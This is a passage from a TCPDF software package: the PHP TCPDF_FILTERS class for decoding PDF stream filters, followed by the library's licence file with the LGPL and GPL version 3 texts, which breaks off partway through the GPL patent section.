------------------------------------------------------------------- // Copyright (C) 2011-2012 Nicola Asuni - Tecnick.com LTD // // This file is part of TCPDF software library. // // TCPDF is free software: you can redistribute it and/or modify it // under the terms of the GNU Lesser General Public License as // published by the Free Software Foundation, either version 3 of the // License, or (at your option) any later version. // // TCPDF is distributed in the hope that it will be useful, but // WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. // See the GNU Lesser General Public License for more details. // // You should have received a copy of the License // along with TCPDF. If not, see // <http://www.tecnick.com/pagefiles/tcpdf/LICENSE.TXT>. // // See LICENSE.TXT file for more information. // ------------------------------------------------------------------- // // Description : This is a PHP class for decoding common PDF filters (PDF 32000-2008 - 7.4 Filters). // //============================================================+ /** * @file * This is a PHP class for decoding common PDF filters (PDF 32000-2008 - 7.4 Filters).<br> * @package com.tecnick.tcpdf * @author Nicola Asuni * @version 1.0.000 */ /** * @class TCPDF_FILTERS * This is a PHP class for decoding common PDF filters (PDF 32000-2008 - 7.4 Filters).<br> * @package com.tecnick.tcpdf * @brief This is a PHP class for decoding common PDF filters. * @version 1.0.000 * @author Nicola Asuni - info@tecnick.com */ class TCPDF_FILTERS { /** * Define a list of available filter decoders. * @private */ private $available_filters = array('ASCIIHexDecode', 'ASCII85Decode', 'LZWDecode', 'FlateDecode', 'RunLengthDecode'); // ----------------------------------------------------------------------------- /** * Get a list of available decoding filters. * @return (array) Array of available filter decoders. * @public * @since 1.0.000 (2011-05-23) */ public function getAvailableFilters() { return $this->available_filters; } /** * Decode data using the specified filter type. * @param $filter (string) Filter name. * @param $data (string) Data to decode. * @return Decoded data string. * @public * @since 1.0.000 (2011-05-23) */ public function decodeFilter($filter, $data) { switch ($filter) { case 'ASCIIHexDecode': { return $this->decodeFilterASCIIHexDecode($data); break; } case 'ASCII85Decode': { return $this->decodeFilterASCII85Decode($data); break; } case 'LZWDecode': { return $this->decodeFilterLZWDecode($data); break; } case 'FlateDecode': { return $this->decodeFilterFlateDecode($data); break; } case 'RunLengthDecode': { return $this->decodeFilterRunLengthDecode($data); break; } case 'CCITTFaxDecode': { return $this->decodeFilterCCITTFaxDecode($data); break; } case 'JBIG2Decode': { return $this->decodeFilterJBIG2Decode($data); break; } case 'DCTDecode': { return $this->decodeFilterDCTDecode($data); break; } case 'JPXDecode': { return $this->decodeFilterJPXDecode($data); break; } case 'Crypt': { return $this->decodeFilterCrypt($data); break; } default: { return decodeFilterStandard($data); break; } } } // --- FILTERS (PDF 32000-2008 - 7.4 Filters) ------------------------------ /** * Standard * Default decoding filter (leaves data unchanged). * @param $data (string) Data to decode. * @return Decoded data string. * @public * @since 1.0.000 (2011-05-23) */ public function decodeFilterStandard($data) { return $data; } /** * ASCIIHexDecode * Decodes data encoded in an ASCII hexadecimal representation, reproducing the original binary data. * @param $data (string) Data to decode. * @return Decoded data string. * @public * @since 1.0.000 (2011-05-23) */ public function decodeFilterASCIIHexDecode($data) { // intialize string to return $decoded = ''; // all white-space characters shall be ignored $data = preg_replace('/[\s]/', '', $data); // check for EOD character: GREATER-THAN SIGN (3Eh) $eod = strpos($data, '>'); if ($eod !== false) { // remove EOD and extra data (if any) $data = substr($data, 0, $eod); $eod = true; } // get data length $data_length = strlen($data); if (($data_length % 2) != 0) { // odd number of hexadecimal digits if ($eod) { // EOD shall behave as if a 0 (zero) followed the last digit $data = substr($data, 0, -1).'0'.substr($data, -1); } else { $this->Error('decodeASCIIHex: invalid code'); } } // check for invalid characters if (preg_match('/[^a-fA-F\d]/', $data) > 0) { $this->Error('decodeASCIIHex: invalid code'); } // get one byte of binary data for each pair of ASCII hexadecimal digits $decoded = pack('H*', $data); return $decoded; } /** * ASCII85Decode * Decodes data encoded in an ASCII base-85 representation, reproducing the original binary data. * @param $data (string) Data to decode. * @return Decoded data string. * @public * @since 1.0.000 (2011-05-23) */ public function decodeFilterASCII85Decode($data) { // intialize string to return $decoded = ''; // all white-space characters shall be ignored $data = preg_replace('/[\s]/', '', $data); // remove start sequence 2-character sequence <~ (3Ch)(7Eh) if (strpos($data, '<~') !== false) { // remove EOD and extra data (if any) $data = substr($data, 2); } // check for EOD: 2-character sequence ~> (7Eh)(3Eh) $eod = strpos($data, '~>'); if ($eod !== false) { // remove EOD and extra data (if any) $data = substr($data, 0, $eod); } // data length $data_length = strlen($data); // check for invalid characters if (preg_match('/[^\x21-\x75,\x74]/', $data) > 0) { $this->Error('decodeASCII85: invalid code'); } // z sequence $zseq = chr(0).chr(0).chr(0).chr(0); // position inside a group of 4 bytes (0-3) $group_pos = 0; $tuple = 0; $pow85 = array((85*85*85*85), (85*85*85), (85*85), 85, 1); $last_pos = ($data_length - 1); // for each byte for ($i = 0; $i < $data_length; ++$i) { // get char value $char = ord($data[$i]); if ($char == 122) { // 'z' if ($group_pos == 0) { $decoded .= $zseq; } else { $this->Error('decodeASCII85: invalid code'); } } else { // the value represented by a group of 5 characters should never be greater than 2^32 - 1 $tuple += (($char - 33) * $pow85[$group_pos]); if ($group_pos == 4) { $decoded .= chr($tuple >> 24).chr($tuple >> 16).chr($tuple >> 8).chr($tuple); $tuple = 0; $group_pos = 0; } else { ++$group_pos; } } } if ($group_pos > 1) { $tuple += $pow85[($group_pos - 1)]; } // last tuple (if any) switch ($group_pos) { case 4: { $decoded .= chr($tuple >> 24).chr($tuple >> 16).chr($tuple >> 8); break; } case 3: { $decoded .= chr($tuple >> 24).chr($tuple >> 16); break; } case 2: { $decoded .= chr($tuple >> 24); break; } case 1: { $this->Error('decodeASCII85: invalid code'); break; } } return $decoded; } /** * LZWDecode * Decompresses data encoded using the LZW (Lempel-Ziv-Welch) adaptive compression method, reproducing the original text or binary data. * @param $data (string) Data to decode. * @return Decoded data string. * @public * @since 1.0.000 (2011-05-23) */ public function decodeFilterLZWDecode($data) { // intialize string to return $decoded = ''; // data length $data_length = strlen($data); // convert string to binary string $bitstring = ''; for ($i = 0; $i < $data_length; ++$i) { $bitstring .= sprintf('%08b', ord($data{$i})); } // get the number of bits $data_length = strlen($bitstring); // initialize code length in bits $bitlen = 9; // initialize dictionary index $dix = 258; // initialize the dictionary (with the first 256 entries). $dictionary = array(); for ($i = 0; $i < 256; ++$i) { $dictionary[$i] = chr($i); } // previous val $prev_index = 0; // while we encounter EOD marker (257), read code_length bits while (($data_length > 0) AND (($index = bindec(substr($bitstring, 0, $bitlen))) != 257)) { // remove read bits from string $bitstring = substr($bitstring, $bitlen); // update number of bits $data_length -= $bitlen; if ($index == 256) { // clear-table marker // reset code length in bits $bitlen = 9; // reset dictionary index $dix = 258; $prev_index = 256; // reset the dictionary (with the first 256 entries). $dictionary = array(); for ($i = 0; $i < 256; ++$i) { $dictionary[$i] = chr($i); } } elseif ($prev_index == 256) { // first entry $decoded .= $dictionary[$index]; $prev_index = $index; } else { // check if index exist in the dictionary if ($index < $dix) { // index exist on dictionary $decoded .= $dictionary[$index]; $dic_val = $dictionary[$prev_index].$dictionary[$index]{0}; // store current index $prev_index = $index; } else { // index do not exist on dictionary $dic_val = $dictionary[$prev_index].$dictionary[$prev_index]{0}; $decoded .= $dic_val; } // update dictionary $dictionary[$dix] = $dic_val; ++$dix; // change bit length by case if ($dix == 2047) { $bitlen = 12; } elseif ($dix == 1023) { $bitlen = 11; } elseif ($dix == 511) { $bitlen = 10; } } } return $decoded; } /** * FlateDecode * Decompresses data encoded using the zlib/deflate compression method, reproducing the original text or binary data. * @param $data (string) Data to decode. * @return Decoded data string. * @public * @since 1.0.000 (2011-05-23) */ public function decodeFilterFlateDecode($data) { // intialize string to return $decoded = gzuncompress($data); if ($decoded === false) { $this->Error('decodeFlate: invalid code'); } return $decoded; } /** * RunLengthDecode * Decompresses data encoded using a byte-oriented run-length encoding algorithm. * @param $data (string) Data to decode. * @public * @since 1.0.000 (2011-05-23) */ public function decodeFilterRunLengthDecode($data) { // intialize string to return $decoded = ''; // data length $data_length = strlen($data); $i = 0; while($i < $data_length) { // get current byte value $byte = ord($data{$i}); if ($byte == 128) { // a length value of 128 denote EOD break; } elseif ($byte < 128) { // if the length byte is in the range 0 to 127 // the following length + 1 (1 to 128) bytes shall be copied literally during decompression $decoded .= substr($data, ($i + 1), ($byte + 1)); // move to next block $i += ($byte + 2); } else { // if length is in the range 129 to 255, // the following single byte shall be copied 257 - length (2 to 128) times during decompression $decoded .= str_repeat($data{($i + 1)}, (257 - $byte)); // move to next block $i += 2; } } return $decoded; } /** * CCITTFaxDecode (NOT IMPLEMETED) * Decompresses data encoded using the CCITT facsimile standard, reproducing the original data (typically monochrome image data at 1 bit per pixel). * @param $data (string) Data to decode. * @return Decoded data string. * @public * @since 1.0.000 (2011-05-23) */ public function decodeFilterCCITTFaxDecode($data) { return $data; } /** * JBIG2Decode (NOT IMPLEMETED) * Decompresses data encoded using the JBIG2 standard, reproducing the original monochrome (1 bit per pixel) image data (or an approximation of that data). * @param $data (string) Data to decode. * @return Decoded data string. * @public * @since 1.0.000 (2011-05-23) */ public function decodeFilterJBIG2Decode($data) { return $data; } /** * DCTDecode (NOT IMPLEMETED) * Decompresses data encoded using a DCT (discrete cosine transform) technique based on the JPEG standard, reproducing image sample data that approximates the original data. * @param $data (string) Data to decode. * @return Decoded data string. * @public * @since 1.0.000 (2011-05-23) */ public function decodeFilterDCTDecode($data) { return $data; } /** * JPXDecode (NOT IMPLEMETED) * Decompresses data encoded using the wavelet-based JPEG2000 standard, reproducing the original image data. * @param $data (string) Data to decode. * @return Decoded data string. * @public * @since 1.0.000 (2011-05-23) */ public function decodeFilterJPXDecode($data) { return $data; } /** * Crypt (NOT IMPLEMETED) * Decrypts data encrypted by a security handler, reproducing the data as it was before encryption. * @param $data (string) Data to decode. * @return Decoded data string. * @public * @since 1.0.000 (2011-05-23) */ public function decodeFilterCrypt($data) { return $data; } // --- END FILTERS SECTION ------------------------------------------------- /** * This method is automatically called in case of fatal error; it simply outputs the message and halts the execution. * @param $msg (string) The error message * @public * @since 1.0.000 (2011-05-23) */ public function Error($msg) { // exit program and print error die('<strong>TCPDF_FILTERS ERROR: </strong>'.$msg); } } // END OF TCPDF_FILTERS CLASS //============================================================+ // END OF FILE //============================================================+ PK���\qV�St�t�visolutions/tcpdf/LICENSE.TXTnu&1i�********************************************************************** * TCPDF LICENSE ********************************************************************** TCPDF is free software: you can redistribute it and/or modify it under the terms of the GNU Lesser General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. ********************************************************************** ********************************************************************** GNU LESSER GENERAL PUBLIC LICENSE Version 3, 29 June 2007 Copyright (C) 2007 Free Software Foundation, Inc. <http://fsf.org/> Everyone is permitted to copy and distribute verbatim copies of this license document, but changing it is not allowed. This version of the GNU Lesser General Public License incorporates the terms and conditions of version 3 of the GNU General Public License, supplemented by the additional permissions listed below. 0. Additional Definitions. As used herein, "this License" refers to version 3 of the GNU Lesser General Public License, and the "GNU GPL" refers to version 3 of the GNU General Public License. "The Library" refers to a covered work governed by this License, other than an Application or a Combined Work as defined below. An "Application" is any work that makes use of an interface provided by the Library, but which is not otherwise based on the Library. Defining a subclass of a class defined by the Library is deemed a mode of using an interface provided by the Library. A "Combined Work" is a work produced by combining or linking an Application with the Library. The particular version of the Library with which the Combined Work was made is also called the "Linked Version". The "Minimal Corresponding Source" for a Combined Work means the Corresponding Source for the Combined Work, excluding any source code for portions of the Combined Work that, considered in isolation, are based on the Application, and not on the Linked Version. The "Corresponding Application Code" for a Combined Work means the object code and/or source code for the Application, including any data and utility programs needed for reproducing the Combined Work from the Application, but excluding the System Libraries of the Combined Work. 1. Exception to Section 3 of the GNU GPL. You may convey a covered work under sections 3 and 4 of this License without being bound by section 3 of the GNU GPL. 2. Conveying Modified Versions. If you modify a copy of the Library, and, in your modifications, a facility refers to a function or data to be supplied by an Application that uses the facility (other than as an argument passed when the facility is invoked), then you may convey a copy of the modified version: a) under this License, provided that you make a good faith effort to ensure that, in the event an Application does not supply the function or data, the facility still operates, and performs whatever part of its purpose remains meaningful, or b) under the GNU GPL, with none of the additional permissions of this License applicable to that copy. 3. Object Code Incorporating Material from Library Header Files. The object code form of an Application may incorporate material from a header file that is part of the Library. You may convey such object code under terms of your choice, provided that, if the incorporated material is not limited to numerical parameters, data structure layouts and accessors, or small macros, inline functions and templates (ten or fewer lines in length), you do both of the following: a) Give prominent notice with each copy of the object code that the Library is used in it and that the Library and its use are covered by this License. b) Accompany the object code with a copy of the GNU GPL and this license document. 4. Combined Works. You may convey a Combined Work under terms of your choice that, taken together, effectively do not restrict modification of the portions of the Library contained in the Combined Work and reverse engineering for debugging such modifications, if you also do each of the following: a) Give prominent notice with each copy of the Combined Work that the Library is used in it and that the Library and its use are covered by this License. b) Accompany the Combined Work with a copy of the GNU GPL and this license document. c) For a Combined Work that displays copyright notices during execution, include the copyright notice for the Library among these notices, as well as a reference directing the user to the copies of the GNU GPL and this license document. d) Do one of the following: 0) Convey the Minimal Corresponding Source under the terms of this License, and the Corresponding Application Code in a form suitable for, and under terms that permit, the user to recombine or relink the Application with a modified version of the Linked Version to produce a modified Combined Work, in the manner specified by section 6 of the GNU GPL for conveying Corresponding Source. 1) Use a suitable shared library mechanism for linking with the Library. A suitable mechanism is one that (a) uses at run time a copy of the Library already present on the user's computer system, and (b) will operate properly with a modified version of the Library that is interface-compatible with the Linked Version. e) Provide Installation Information, but only if you would otherwise be required to provide such information under section 6 of the GNU GPL, and only to the extent that such information is necessary to install and execute a modified version of the Combined Work produced by recombining or relinking the Application with a modified version of the Linked Version. (If you use option 4d0, the Installation Information must accompany the Minimal Corresponding Source and Corresponding Application Code. If you use option 4d1, you must provide the Installation Information in the manner specified by section 6 of the GNU GPL for conveying Corresponding Source.) 5. Combined Libraries. You may place library facilities that are a work based on the Library side by side in a single library together with other library facilities that are not Applications and are not covered by this License, and convey such a combined library under terms of your choice, if you do both of the following: a) Accompany the combined library with a copy of the same work based on the Library, uncombined with any other library facilities, conveyed under the terms of this License. b) Give prominent notice with the combined library that part of it is a work based on the Library, and explaining where to find the accompanying uncombined form of the same work. 6. Revised Versions of the GNU Lesser General Public License. The Free Software Foundation may publish revised and/or new versions of the GNU Lesser General Public License from time to time. Such new versions will be similar in spirit to the present version, but may differ in detail to address new problems or concerns. Each version is given a distinguishing version number. If the Library as you received it specifies that a certain numbered version of the GNU Lesser General Public License "or any later version" applies to it, you have the option of following the terms and conditions either of that published version or of any later version published by the Free Software Foundation. If the Library as you received it does not specify a version number of the GNU Lesser General Public License, you may choose any version of the GNU Lesser General Public License ever published by the Free Software Foundation. If the Library as you received it specifies that a proxy can decide whether future versions of the GNU Lesser General Public License shall apply, that proxy's public statement of acceptance of any version is permanent authorization for you to choose that version for the Library. ********************************************************************** ********************************************************************** GNU GENERAL PUBLIC LICENSE Version 3, 29 June 2007 Copyright (C) 2007 Free Software Foundation, Inc. <http://fsf.org/> Everyone is permitted to copy and distribute verbatim copies of this license document, but changing it is not allowed. Preamble The GNU General Public License is a free, copyleft license for software and other kinds of works. The licenses for most software and other practical works are designed to take away your freedom to share and change the works. By contrast, the GNU General Public License is intended to guarantee your freedom to share and change all versions of a program--to make sure it remains free software for all its users. We, the Free Software Foundation, use the GNU General Public License for most of our software; it applies also to any other work released this way by its authors. You can apply it to your programs, too. When we speak of free software, we are referring to freedom, not price. Our General Public Licenses are designed to make sure that you have the freedom to distribute copies of free software (and charge for them if you wish), that you receive source code or can get it if you want it, that you can change the software or use pieces of it in new free programs, and that you know you can do these things. To protect your rights, we need to prevent others from denying you these rights or asking you to surrender the rights. Therefore, you have certain responsibilities if you distribute copies of the software, or if you modify it: responsibilities to respect the freedom of others. For example, if you distribute copies of such a program, whether gratis or for a fee, you must pass on to the recipients the same freedoms that you received. You must make sure that they, too, receive or can get the source code. And you must show them these terms so they know their rights. Developers that use the GNU GPL protect your rights with two steps: (1) assert copyright on the software, and (2) offer you this License giving you legal permission to copy, distribute and/or modify it. For the developers' and authors' protection, the GPL clearly explains that there is no warranty for this free software. For both users' and authors' sake, the GPL requires that modified versions be marked as changed, so that their problems will not be attributed erroneously to authors of previous versions. Some devices are designed to deny users access to install or run modified versions of the software inside them, although the manufacturer can do so. This is fundamentally incompatible with the aim of protecting users' freedom to change the software. The systematic pattern of such abuse occurs in the area of products for individuals to use, which is precisely where it is most unacceptable. Therefore, we have designed this version of the GPL to prohibit the practice for those products. If such problems arise substantially in other domains, we stand ready to extend this provision to those domains in future versions of the GPL, as needed to protect the freedom of users. Finally, every program is threatened constantly by software patents. States should not allow patents to restrict development and use of software on general-purpose computers, but in those that do, we wish to avoid the special danger that patents applied to a free program could make it effectively proprietary. To prevent this, the GPL assures that patents cannot be used to render the program non-free. The precise terms and conditions for copying, distribution and modification follow. TERMS AND CONDITIONS 0. Definitions. "This License" refers to version 3 of the GNU General Public License. "Copyright" also means copyright-like laws that apply to other kinds of works, such as semiconductor masks. "The Program" refers to any copyrightable work licensed under this License. Each licensee is addressed as "you". "Licensees" and "recipients" may be individuals or organizations. To "modify" a work means to copy from or adapt all or part of the work in a fashion requiring copyright permission, other than the making of an exact copy. The resulting work is called a "modified version" of the earlier work or a work "based on" the earlier work. A "covered work" means either the unmodified Program or a work based on the Program. To "propagate" a work means to do anything with it that, without permission, would make you directly or secondarily liable for infringement under applicable copyright law, except executing it on a computer or modifying a private copy. Propagation includes copying, distribution (with or without modification), making available to the public, and in some countries other activities as well. To "convey" a work means any kind of propagation that enables other parties to make or receive copies. Mere interaction with a user through a computer network, with no transfer of a copy, is not conveying. An interactive user interface displays "Appropriate Legal Notices" to the extent that it includes a convenient and prominently visible feature that (1) displays an appropriate copyright notice, and (2) tells the user that there is no warranty for the work (except to the extent that warranties are provided), that licensees may convey the work under this License, and how to view a copy of this License. If the interface presents a list of user commands or options, such as a menu, a prominent item in the list meets this criterion. 1. Source Code. The "source code" for a work means the preferred form of the work for making modifications to it. "Object code" means any non-source form of a work. A "Standard Interface" means an interface that either is an official standard defined by a recognized standards body, or, in the case of interfaces specified for a particular programming language, one that is widely used among developers working in that language. The "System Libraries" of an executable work include anything, other than the work as a whole, that (a) is included in the normal form of packaging a Major Component, but which is not part of that Major Component, and (b) serves only to enable use of the work with that Major Component, or to implement a Standard Interface for which an implementation is available to the public in source code form. A "Major Component", in this context, means a major essential component (kernel, window system, and so on) of the specific operating system (if any) on which the executable work runs, or a compiler used to produce the work, or an object code interpreter used to run it. The "Corresponding Source" for a work in object code form means all the source code needed to generate, install, and (for an executable work) run the object code and to modify the work, including scripts to control those activities. However, it does not include the work's System Libraries, or general-purpose tools or generally available free programs which are used unmodified in performing those activities but which are not part of the work. For example, Corresponding Source includes interface definition files associated with source files for the work, and the source code for shared libraries and dynamically linked subprograms that the work is specifically designed to require, such as by intimate data communication or control flow between those subprograms and other parts of the work. The Corresponding Source need not include anything that users can regenerate automatically from other parts of the Corresponding Source. The Corresponding Source for a work in source code form is that same work. 2. Basic Permissions. All rights granted under this License are granted for the term of copyright on the Program, and are irrevocable provided the stated conditions are met. This License explicitly affirms your unlimited permission to run the unmodified Program. The output from running a covered work is covered by this License only if the output, given its content, constitutes a covered work. This License acknowledges your rights of fair use or other equivalent, as provided by copyright law. You may make, run and propagate covered works that you do not convey, without conditions so long as your license otherwise remains in force. You may convey covered works to others for the sole purpose of having them make modifications exclusively for you, or provide you with facilities for running those works, provided that you comply with the terms of this License in conveying all material for which you do not control copyright. Those thus making or running the covered works for you must do so exclusively on your behalf, under your direction and control, on terms that prohibit them from making any copies of your copyrighted material outside their relationship with you. Conveying under any other circumstances is permitted solely under the conditions stated below. Sublicensing is not allowed; section 10 makes it unnecessary. 3. Protecting Users' Legal Rights From Anti-Circumvention Law. No covered work shall be deemed part of an effective technological measure under any applicable law fulfilling obligations under article 11 of the WIPO copyright treaty adopted on 20 December 1996, or similar laws prohibiting or restricting circumvention of such measures. When you convey a covered work, you waive any legal power to forbid circumvention of technological measures to the extent such circumvention is effected by exercising rights under this License with respect to the covered work, and you disclaim any intention to limit operation or modification of the work as a means of enforcing, against the work's users, your or third parties' legal rights to forbid circumvention of technological measures. 4. Conveying Verbatim Copies. You may convey verbatim copies of the Program's source code as you receive it, in any medium, provided that you conspicuously and appropriately publish on each copy an appropriate copyright notice; keep intact all notices stating that this License and any non-permissive terms added in accord with section 7 apply to the code; keep intact all notices of the absence of any warranty; and give all recipients a copy of this License along with the Program. You may charge any price or no price for each copy that you convey, and you may offer support or warranty protection for a fee. 5. Conveying Modified Source Versions. You may convey a work based on the Program, or the modifications to produce it from the Program, in the form of source code under the terms of section 4, provided that you also meet all of these conditions: a) The work must carry prominent notices stating that you modified it, and giving a relevant date. b) The work must carry prominent notices stating that it is released under this License and any conditions added under section 7. This requirement modifies the requirement in section 4 to "keep intact all notices". c) You must license the entire work, as a whole, under this License to anyone who comes into possession of a copy. This License will therefore apply, along with any applicable section 7 additional terms, to the whole of the work, and all its parts, regardless of how they are packaged. This License gives no permission to license the work in any other way, but it does not invalidate such permission if you have separately received it. d) If the work has interactive user interfaces, each must display Appropriate Legal Notices; however, if the Program has interactive interfaces that do not display Appropriate Legal Notices, your work need not make them do so. A compilation of a covered work with other separate and independent works, which are not by their nature extensions of the covered work, and which are not combined with it such as to form a larger program, in or on a volume of a storage or distribution medium, is called an "aggregate" if the compilation and its resulting copyright are not used to limit the access or legal rights of the compilation's users beyond what the individual works permit. Inclusion of a covered work in an aggregate does not cause this License to apply to the other parts of the aggregate. 6. Conveying Non-Source Forms. You may convey a covered work in object code form under the terms of sections 4 and 5, provided that you also convey the machine-readable Corresponding Source under the terms of this License, in one of these ways: a) Convey the object code in, or embodied in, a physical product (including a physical distribution medium), accompanied by the Corresponding Source fixed on a durable physical medium customarily used for software interchange. b) Convey the object code in, or embodied in, a physical product (including a physical distribution medium), accompanied by a written offer, valid for at least three years and valid for as long as you offer spare parts or customer support for that product model, to give anyone who possesses the object code either (1) a copy of the Corresponding Source for all the software in the product that is covered by this License, on a durable physical medium customarily used for software interchange, for a price no more than your reasonable cost of physically performing this conveying of source, or (2) access to copy the Corresponding Source from a network server at no charge. c) Convey individual copies of the object code with a copy of the written offer to provide the Corresponding Source. This alternative is allowed only occasionally and noncommercially, and only if you received the object code with such an offer, in accord with subsection 6b. d) Convey the object code by offering access from a designated place (gratis or for a charge), and offer equivalent access to the Corresponding Source in the same way through the same place at no further charge. You need not require recipients to copy the Corresponding Source along with the object code. If the place to copy the object code is a network server, the Corresponding Source may be on a different server (operated by you or a third party) that supports equivalent copying facilities, provided you maintain clear directions next to the object code saying where to find the Corresponding Source. Regardless of what server hosts the Corresponding Source, you remain obligated to ensure that it is available for as long as needed to satisfy these requirements. e) Convey the object code using peer-to-peer transmission, provided you inform other peers where the object code and Corresponding Source of the work are being offered to the general public at no charge under subsection 6d. A separable portion of the object code, whose source code is excluded from the Corresponding Source as a System Library, need not be included in conveying the object code work. A "User Product" is either (1) a "consumer product", which means any tangible personal property which is normally used for personal, family, or household purposes, or (2) anything designed or sold for incorporation into a dwelling. In determining whether a product is a consumer product, doubtful cases shall be resolved in favor of coverage. For a particular product received by a particular user, "normally used" refers to a typical or common use of that class of product, regardless of the status of the particular user or of the way in which the particular user actually uses, or expects or is expected to use, the product. A product is a consumer product regardless of whether the product has substantial commercial, industrial or non-consumer uses, unless such uses represent the only significant mode of use of the product. "Installation Information" for a User Product means any methods, procedures, authorization keys, or other information required to install and execute modified versions of a covered work in that User Product from a modified version of its Corresponding Source. The information must suffice to ensure that the continued functioning of the modified object code is in no case prevented or interfered with solely because modification has been made. If you convey an object code work under this section in, or with, or specifically for use in, a User Product, and the conveying occurs as part of a transaction in which the right of possession and use of the User Product is transferred to the recipient in perpetuity or for a fixed term (regardless of how the transaction is characterized), the Corresponding Source conveyed under this section must be accompanied by the Installation Information. But this requirement does not apply if neither you nor any third party retains the ability to install modified object code on the User Product (for example, the work has been installed in ROM). The requirement to provide Installation Information does not include a requirement to continue to provide support service, warranty, or updates for a work that has been modified or installed by the recipient, or for the User Product in which it has been modified or installed. Access to a network may be denied when the modification itself materially and adversely affects the operation of the network or violates the rules and protocols for communication across the network. Corresponding Source conveyed, and Installation Information provided, in accord with this section must be in a format that is publicly documented (and with an implementation available to the public in source code form), and must require no special password or key for unpacking, reading or copying. 7. Additional Terms. "Additional permissions" are terms that supplement the terms of this License by making exceptions from one or more of its conditions. Additional permissions that are applicable to the entire Program shall be treated as though they were included in this License, to the extent that they are valid under applicable law. If additional permissions apply only to part of the Program, that part may be used separately under those permissions, but the entire Program remains governed by this License without regard to the additional permissions. When you convey a copy of a covered work, you may at your option remove any additional permissions from that copy, or from any part of it. (Additional permissions may be written to require their own removal in certain cases when you modify the work.) You may place additional permissions on material, added by you to a covered work, for which you have or can give appropriate copyright permission. Notwithstanding any other provision of this License, for material you add to a covered work, you may (if authorized by the copyright holders of that material) supplement the terms of this License with terms: a) Disclaiming warranty or limiting liability differently from the terms of sections 15 and 16 of this License; or b) Requiring preservation of specified reasonable legal notices or author attributions in that material or in the Appropriate Legal Notices displayed by works containing it; or c) Prohibiting misrepresentation of the origin of that material, or requiring that modified versions of such material be marked in reasonable ways as different from the original version; or d) Limiting the use for publicity purposes of names of licensors or authors of the material; or e) Declining to grant rights under trademark law for use of some trade names, trademarks, or service marks; or f) Requiring indemnification of licensors and authors of that material by anyone who conveys the material (or modified versions of it) with contractual assumptions of liability to the recipient, for any liability that these contractual assumptions directly impose on those licensors and authors. All other non-permissive additional terms are considered "further restrictions" within the meaning of section 10. If the Program as you received it, or any part of it, contains a notice stating that it is governed by this License along with a term that is a further restriction, you may remove that term. If a license document contains a further restriction but permits relicensing or conveying under this License, you may add to a covered work material governed by the terms of that license document, provided that the further restriction does not survive such relicensing or conveying. If you add terms to a covered work in accord with this section, you must place, in the relevant source files, a statement of the additional terms that apply to those files, or a notice indicating where to find the applicable terms. Additional terms, permissive or non-permissive, may be stated in the form of a separately written license, or stated as exceptions; the above requirements apply either way. 8. Termination. You may not propagate or modify a covered work except as expressly provided under this License. Any attempt otherwise to propagate or modify it is void, and will automatically terminate your rights under this License (including any patent licenses granted under the third paragraph of section 11). However, if you cease all violation of this License, then your license from a particular copyright holder is reinstated (a) provisionally, unless and until the copyright holder explicitly and finally terminates your license, and (b) permanently, if the copyright holder fails to notify you of the violation by some reasonable means prior to 60 days after the cessation. Moreover, your license from a particular copyright holder is reinstated permanently if the copyright holder notifies you of the violation by some reasonable means, this is the first time you have received notice of violation of this License (for any work) from that copyright holder, and you cure the violation prior to 30 days after your receipt of the notice. Termination of your rights under this section does not terminate the licenses of parties who have received copies or rights from you under this License. If your rights have been terminated and not permanently reinstated, you do not qualify to receive new licenses for the same material under section 10. 9. Acceptance Not Required for Having Copies. You are not required to accept this License in order to receive or run a copy of the Program. Ancillary propagation of a covered work occurring solely as a consequence of using peer-to-peer transmission to receive a copy likewise does not require acceptance. However, nothing other than this License grants you permission to propagate or modify any covered work. These actions infringe copyright if you do not accept this License. Therefore, by modifying or propagating a covered work, you indicate your acceptance of this License to do so. 10. Automatic Licensing of Downstream Recipients. Each time you convey a covered work, the recipient automatically receives a license from the original licensors, to run, modify and propagate that work, subject to this License. You are not responsible for enforcing compliance by third parties with this License. An "entity transaction" is a transaction transferring control of an organization, or substantially all assets of one, or subdividing an organization, or merging organizations. If propagation of a covered work results from an entity transaction, each party to that transaction who receives a copy of the work also receives whatever licenses to the work the party's predecessor in interest had or could give under the previous paragraph, plus a right to possession of the Corresponding Source of the work from the predecessor in interest, if the predecessor has it or can get it with reasonable efforts. You may not impose any further restrictions on the exercise of the rights granted or affirmed under this License. For example, you may not impose a license fee, royalty, or other charge for exercise of rights granted under this License, and you may not initiate litigation (including a cross-claim or counterclaim in a lawsuit) alleging that any patent claim is infringed by making, using, selling, offering for sale, or importing the Program or any portion of it. 11. Patents. A "contributor" is a copyright holder who authorizes use under this License of the Program or a work on which the Program is based. The work thus licensed is called the contributor's "contributor version". A contributor's "essential patent claims" are all patent claims owned or controlled by the contributor, whether already acquired or hereafter acquired, that would be infringed by some manner, permitted by this License, of making, using, or selling its contributor version, but do not include claims that would be infringed only as a consequence of further modification of the contributor version. For purposes of this definition, "control" includes the right to grant patent sublicenses in a manner consistent with the requirements of this License. Each contributor grants you a non-exclusive, worldwide, royalty-free patent license under the contributor's essential patent claims, to make, use, sell, offer for sale, import and otherwise run, modify and propagate the contents of its contributor version. In the following three paragraphs, a "patent license" is any express agreement or commitment, however denominated, not to enforce a patent (such as an express permission to practice a patent or covenant not to sue for patent infringement). To "grant" such a patent license to a party means to make such an agreement or commitment not to enforce a patent against the party. If you convey a covered work, knowingly relying on a patent license, and the Corresponding Source of the work is not available for anyone to copy, free of charge and under the terms of this License, through a publicly available network server or other readily accessible means, then you must either (1) cause the Corresponding Source to be so available, or (2) arrange to deprive yourself of the benefit of the patent license for this particular work, or (3) arrange, in a manner consistent with the requirements of this License, to extend the patent license to downstream recipients. "Knowingly relying" means you have actual knowledge that, but for the patent license, your conveying the covered work in a country, or your recipient's use of the covered work in a country, would infringe one or more identifiable patents in that country that you have reason to believe are valid. If, pursuant to or in connection with a single transaction or arrangement, you convey, or propagate by procuring conveyance of, a covered work, and grant a patent license to some of the parties receiving the covered work authorizing them to use, propagate, modify or convey a specific copy of the covered work, then the patent license you grant is automatically extended to all recipients of the covered work and works based on it. A patent license is "discriminatory" if it does not include within the scope of its coverage, prohibits the exercise of, or is conditioned on the non-exercise of one or more of the rights that are specifically granted under this License. You may not convey a covered work if you are a party to an arrangement with a third party that is in the business of distributing software, under which you make payment to the third party based on the extent of your activity of conveying the work, and under which the third party grants, to any of the parties who would receive the covered work from you, a discriminatory patent license (a) in connection with copies of the covered work conveyed by you (or copies made from those copies), or (b) primarily for and in connection with specific products or compilations that contain 